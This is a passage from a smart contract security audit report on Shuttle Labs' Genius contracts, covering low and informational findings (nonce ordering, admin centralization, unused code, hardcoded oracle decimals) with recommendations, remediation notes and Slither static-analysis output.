    address[] memory tokensIn = _permitAndBatchTransfer(
        permitBatch,
        permitSignature,
        owner,
        feeToken,
        feeAmount
    );
    IERC20(feeToken).safeTransfer(feeRecipient, feeAmount);

    if (target == address(PROXYCALL)) PROXYCALL.execute{value: msg.value}(target, data);
    else {
        PROXYCALL.approveTokensAndExecute{value: msg.value}(
            tokensIn,
            target,
            data
        );
    }

    emit OrderedTransactionsSponsored(msg.sender,owner,target,feeToken,feeAmount,nonces[owner]++);
}
```

The nonce increment occurs after multiple external interactions, including token transfers and proxy calls.

Impact:

1. State changes occur after external contract calls
2. The execution order breaks smart contract security best practices
3. Creates an unnecessary reentrancy vector despite the overall safety of the implementation

BVSS

AO:A/AC:L/AX:L/C:N/I:N/A:L/D:N/Y:N/R:N/S:U (2.5)

Recommendation

It is recommended to move the nonce increment before any external interactions:

```
function sponsorOrderedTransactions(
   // ... parameters ...
) external payable override whenNotPaused {
    if (deadline < block.timestamp) revert GeniusErrors.DeadlinePassed(deadline);

    bytes32 messageHash = keccak256(abi.encode(target,data,permitBatch,nonces[owner],feeToken,feeAmou
    _verifySignature(messageHash, signature, owner);

    uint256 currentNonce = nonces[owner];
    nonces[owner] = currentNonce + 1;// Increment nonce early

    address[] memory tokensIn = _permitAndBatchTransfer(
        permitBatch,
        permitSignature,
        owner,
        feeToken,
        feeAmount
    );

    // ... rest of the function ...

    emit OrderedTransactionsSponsored(msg.sender,owner,target,feeToken,feeAmount,currentNonce);
}
```

Remediation

SOLVED: Nonce is now incremented after the verification of the signature.

Remediation Hash

https://github.com/Shuttle-Labs/genius-contracts/commit/6aa3e85d2d663413b100db32668ac1d1a2194926

References

Shuttle-Labs/genius-contracts/src/GeniusGasTank.sol#L64

7.8 CENTRALIZATION RISKS IN PROTOCOL'S ACCESS CONTROL DESIGN

// INFORMATIONAL

Description

The protocol implementation grants excessive privileges to administrative roles, enabling fund extraction through multiple vectors. This centralization manifests in three critical functions across the protocol's contracts:

1. In **GeniusVaultCore.sol**, the `fillOrder` function allows unrestricted execution by orchestrators:

```
function fillOrder(
    Order memory order,
    address swapTarget,
    bytes memory swapData,
    address callTarget,
    bytes memory callData
) external virtual override nonReentrant onlyOrchestrator whenNotPaused {
   // No limit on fund movement through swap operations
```

2. In **GeniusVaultCore.sol**, `rebalanceLiquidity` provides access to substantial fund movement:

```
function rebalanceLiquidity(
    uint256 amountIn,
    uint256 dstChainId,
    address target,
    bytes calldata data
) external payable virtual override onlyOrchestrator whenNotPaused {
    if (target == address(0)) revert GeniusErrors.NonAddress0();
    _isAmountValid(amountIn, availableAssets());
    // Can drain up to rebalanceThreshold
```

3. In **GeniusMultiTokenVault.sol**, `swapToStables` enables orchestrator-controlled token drainage:

```
function swapToStables(
    address token,
    uint256 amount,
    address target,
    bytes calldata data
) external override onlyOrchestrator whenNotPaused {
   // Can drain non-stablecoin tokens by manipulating output validation
```

4. In **GeniusVault.sol**, `withdrawFunds` :

```
function withdrawFunds() external onlyAdmin {
        uint256 balance = STABLECOIN.balanceOf(address(this));
        STABLECOIN.safeTransfer(msg.sender, balance);
    }
```

Impact:

1. The admin/orchestrator roles possess unilateral control over user funds
2. No time-locks or multi-signature requirements protect high-risk operations
3. A single compromised admin account can lead to complete protocol drainage
4. Users must place complete trust in the protocol administrators

BVSS

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

Recommendation

It is recommended to add value limits for sensitive operations done by admins, implement multi-signature requirements.

Remediation

ACKNOWLEDGED: The **Shuttle Labs team** acknowledge the issue and will switch to a governance as soon as possible.

References

Shuttle-Labs/genius-contracts/src/GeniusVaultCore.sol#L193
Shuttle-Labs/genius-contracts/src/GeniusVaultCore.sol#L120
Shuttle-Labs/genius-contracts/src/GeniusMultiTokenVault.sol#L135
Shuttle-Labs/genius-contracts/src/GeniusVault.sol#L140

7.9 UNUSED CODE ELEMENTS CREATE UNNECESSARY GAS SPENT

// INFORMATIONAL

Description

The protocol contains several unused elements across multiple contracts that increase contract size and complicate code readability without providing functional value.

In **GeniusVaultCore.sol**, the `_updateStakedBalance` function exists but is never called:

```
123 function _updateStakedBalance(
124     uint256 amount,
125     uint256 add
126 ) internal {
127     if (add == 1) { totalStakedAssets += amount; }
128     else { totalStakedAssets -= amount; }
129 }
```

The `supportedBridges` mapping in **GeniusVaultCore.sol** is declared but never utilized:

```
54 | mapping(address => uint256) public supportedBridges;
```

In **GeniusActions.sol**, the `authorizedOrchestrators` mapping remains unused throughout the contract:

```
31 | mapping(address => bool) internal authorizedOrchestrators;
```

Impact:

1. Increased deployment gas costs due to unnecessary bytecode
2. Reduced code maintainability and clarity
3. Higher complexity during security audits and code reviews
4. Misleading state variables suggesting unimplemented functionality

BVSS

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

Recommendation

It is recommended to remove all unused code elements to improve contract efficiency and readability.

Remediation

SOLVED: Unused code has been removed.

Remediation Hash

https://github.com/Shuttle-Labs/genius-contracts/commit/ea3591f848182e3824ac8720d33d5f74657917ae

References

Shuttle-Labs/genius-contracts/src/GeniusVaultCore.sol#L54
Shuttle-Labs/genius-contracts/src/GeniusVaultCore.sol#L523
Shuttle-Labs/genius-contracts/src/GeniusActions.sol#L31

7.10 STATIC PRICE FEED DECIMALS CONFIGURATION LIMITS ORACLE INTEGRATION FLEXIBILITY

// INFORMATIONAL

Description

The **GeniusVaultCore** contract hardcodes price bounds with an assumed 8 decimals precision, even if it's the default behavior of Chainlink price feeds, it is not guaranteed that in the future price feeds use the same decimal configurations:

```
// Price bounds (8 decimals like Chainlink)
uint256 public constant PRICE_LOWER_BOUND = 98_000_000;// 0.98
uint256 public constant PRICE_UPPER_BOUND = 102_000_000;// 1.02
```

The price verification function uses these static bounds without accounting for the actual decimals returned by the price feed:

```
function _verifyStablecoinPrice() internal view returns (bool) {
    try stablecoinPriceFeed.latestRoundData() returns (
        uint80 roundId,
        int256 price,
        uint256 startedAt,
        uint256 updatedAt,
        uint80 answeredInRound
    ) {
        uint256 priceUint = uint256(price);
        if (priceUint < PRICE_LOWER_BOUND || priceUint > PRICE_UPPER_BOUND) {
            revert GeniusErrors.PriceOutOfBounds(priceUint);
        }
```

Impact:

1. Integration breaks with price feeds using non-8 decimal configurations
2. Manual deployment adjustments needed for different oracle implementations
3. Reduced protocol flexibility when integrating with new price feeds

BVSS

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

Recommendation

It is recommended to initialize price bounds dynamically based on the price feed's decimals configuration:

```
contract GeniusVaultCore {
    uint256 public immutable PRICE_LOWER_BOUND;
    uint256 public immutable PRICE_UPPER_BOUND;

    function _initialize(
        address _stablecoin,
        address _admin,
        address _multicall,
        uint256 _rebalanceThreshold,
        address _priceFeed
    ) internal onlyInitializing {
        uint8 decimals = AggregatorV3Interface(_priceFeed).decimals();
        uint256 base = 10 ** decimals;
```

```
        PRICE_LOWER_BOUND = (98 * base) / 100;// 0.98 with proper decimals
        PRICE_UPPER_BOUND = (102 * base) / 100;// 1.02 with proper decimals

    // Rest of initialization...
    }
}
```

Remediation

SOLVED: Price feeds can now be configured in `initialize()` function.

Remediation Hash

https://github.com/Shuttle-Labs/genius-contracts/commit/074203878693be1bd82cef3117451bbf42e3e838

References

Shuttle-Labs/genius-contracts/src/GeniusVaultCore.sol#L40
Shuttle-Labs/genius-contracts/src/GeniusVaultCore.sol#L404

8. AUTOMATED TESTING

Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was `Slither`, a Solidity static analysis framework.
After Halborn verified the smart contracts in the repository and was able to compile them correctly into their abis and binary format, Slither was run against the contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

```
→  genius-contracts git:(main) ✗ slither . --exclude-low --exclude-info
'forge clean' running (wd: /Users/liliancariou/Desktop/Halborn/audits/genius-contracts)
'forge config --json' running
'forge build --build-info --skip */test/** */script/** --force' running (wd: /Users/liliancariou/Desktop/Halborn/audits/genius-contracts)
INFO:Detectors:
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#123-202) has bitwise-xor operator ^ instead of the exponentiation operator **:
        - inverse = (3 * denominator) ^ 2 (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#184)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-exponentiation
INFO:Detectors:
Reentrancy in GeniusGasTank.sponsorOrderedTransactions(address,bytes,IAllowanceTransfer.PermitBatch,bytes,address,address,uint256,uint256,bytes) (src/GeniusGasTank.sol#64-119):
        External calls:
        - tokensIn = _permitAndBatchTransfer(permitBatch,permitSignature,owner,feeToken,feeAmount) (src/GeniusGasTank.sol#92-98)
                - returndata = address(token).functionCall(data) (lib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol#96)
                - PERMIT2.permit(owner,permitBatch,permitSignature) (src/GeniusGasTank.sol#290)
                - (success,returndata) = target.call{value: value}(data) (lib/openzeppelin-contracts/contracts/utils/Address.sol#87)
                - PERMIT2.transferFrom(transferDetails) (src/GeniusGasTank.sol#311)
                - IERC20(feeToken).safeTransfer(address(PROXYCALL),feeTokenBalance - feeAmount) (src/GeniusGasTank.sol#323-326)
        - IERC20(feeToken).safeTransfer(feeRecipient,feeAmount) (src/GeniusGasTank.sol#99)
        - PROXYCALL.execute{value: msg.value}(target,data) (src/GeniusGasTank.sol#102)
        - PROXYCALL.approveTokensAndExecute{value: msg.value}(tokensIn,target,data) (src/GeniusGasTank.sol#104-108)
        External calls sending eth:
        - tokensIn = _permitAndBatchTransfer(permitBatch,permitSignature,owner,feeToken,feeAmount) (src/GeniusGasTank.sol#92-98)
                - (success,returndata) = target.call{value: value}(data) (lib/openzeppelin-contracts/contracts/utils/Address.sol#87)
        - PROXYCALL.execute{value: msg.value}(target,data) (src/GeniusGasTank.sol#102)
        - PROXYCALL.approveTokensAndExecute{value: msg.value}(tokensIn,target,data) (src/GeniusGasTank.sol#104-108)
        State variables written after the call(s):
        - OrderedTransactionsSponsored(msg.sender,owner,target,feeToken,feeAmount,nonces[owner] ++) (src/GeniusGasTank.sol#111-118)
        GeniusGasTank.nonces (src/GeniusGasTank.sol#33) can be used in cross function reentrancies:
        - GeniusGasTank.nonces (src/GeniusGasTank.sol#33)
        - GeniusGasTank.sponsorOrderedTransactions(address,bytes,IAllowanceTransfer.PermitBatch,bytes,address,address,uint256,uint256,bytes) (src/GeniusGasTank.sol#64-119)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities
```

```
INFO:Detectors:
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#123-202) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#169)
        - inverse = (3 * denominator) ^ 2 (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#184)
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#123-202) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#169)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#188)
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#123-202) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#169)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#189)
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#123-202) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#169)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#190)
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#123-202) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#169)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#191)
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#123-202) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#169)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#192)
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#123-202) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#169)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#193)
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#123-202) performs a multiplication on the result of a division:
        - prod0 = prod0 / twos (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#172)
        - result = prod0 * inverse (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#199)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply
INFO:Detectors:
Reentrancy in GeniusMultiTokenVault.createOrder(IGeniusVault.Order) (src/GeniusMultiTokenVault.sol#75-126):
        External calls:
        - IERC20(tokenIn).safeTransferFrom(msg.sender,address(this),order.amountIn) (src/GeniusMultiTokenVault.sol#104-108)
        State variables written after the call(s):
        - orderStatus[_orderHash] = OrderStatus.Created (src/GeniusMultiTokenVault.sol#112)
        GeniusVaultCore.orderStatus (src/GeniusVaultCore.sol#55) can be used in cross function reentrancies:
        - GeniusMultiTokenVault.createOrder(IGeniusVault.Order) (src/GeniusMultiTokenVault.sol#75-126)
        - GeniusVaultCore.orderStatus (src/GeniusVaultCore.sol#55)
Reentrancy in GeniusVault.createOrder(IGeniusVault.Order) (src/GeniusVault.sol#52-97):
        External calls:
        - STABLECOIN.safeTransferFrom(msg.sender,address(this),order.amountIn) (src/GeniusVault.sol#80)
        State variables written after the call(s):
        - orderStatus[orderHash_] = OrderStatus.Created (src/GeniusVault.sol#83)
        GeniusVaultCore.orderStatus (src/GeniusVaultCore.sol#55) can be used in cross function reentrancies:
        - GeniusVault.createOrder(IGeniusVault.Order) (src/GeniusVault.sol#52-97)
        - GeniusVaultCore.orderStatus (src/GeniusVaultCore.sol#55)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1
INFO:Detectors:
ERC1967Utils.upgradeToAndCall(address,bytes) (lib/openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Utils.sol#83-92) ignores return value by Address.functionDelegateCall(newImplementation,data) (lib/openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Utils.sol#88)
ERC1967Utils.upgradeBeaconToAndCall(address,bytes) (lib/openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Utils.sol#173-182) ignores return value by Address.functionDelegateCall(IBeacon(newBeacon).implementation(),data) (lib/openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Utils.sol#178)
GeniusVaultCore._verifyStablecoinPrice() (src/GeniusVaultCore.sol#404-427) ignores return value by (roundId,price,startedAt,updatedAt,answeredInRound) = stablecoinPriceFeed.latestRoundData() (src/GeniusVaultCore.sol#405-426)
GeniusProxyCall.approveTokensAndExecute(address[],address,bytes) (src/GeniusProxyCall.sol#171-195) ignores return value by IERC20(tokens[i]).approve(target,type()(uint256).max) (src/GeniusProxyCall.sol#185)
GeniusProxyCall.approveTokensAndExecute(address[],address,bytes) (src/GeniusProxyCall.sol#171-195) ignores return value by IERC20(tokens[i_scope_1]).approve(target,0) (src/GeniusProxyCall.sol#192)
GeniusProxyCall._approveTokenAndExecute(address,address,bytes) (src/GeniusProxyCall.sol#255-274) ignores return value by IERC20(token).approve(target,type()(uint256).max) (src/GeniusProxyCall.sol#267)
GeniusProxyCall._approveTokenAndExecute(address,address,bytes) (src/GeniusProxyCall.sol#255-274) ignores return value by IERC20(token).approve(target,0) (src/GeniusProxyCall.sol#272)
GeniusRouter.constructor(address,address,address) (src/GeniusRouter.sol#36-43) ignores return value by STABLECOIN.approve(address(VAULT),type()(uint256).max) (src/GeniusRouter.sol#42)
AaveV3Proxy.depositAvailableBalance(address,address) (src/call-proxies/AaveV3Proxy.sol#21-38) ignores return value by IERC20(asset).approve(AAVE_POOL,amount) (src/call-proxies/AaveV3Proxy.sol#30)
AaveV3Proxy.depositAvailableBalance(address,address) (src/call-proxies/AaveV3Proxy.sol#21-38) ignores return value by IERC20(asset).approve(AAVE_POOL,0) (src/call-proxies/AaveV3Proxy.sol#35)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return
INFO:Slither:. analyzed (55 contracts with 58 detectors), 22 result(s) found
```

All issues identified by `Slither` were proved to be false positives or have been added to the issue list in this report.

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project's integrity and addressing potential vulnerabilities introduced by code modifications.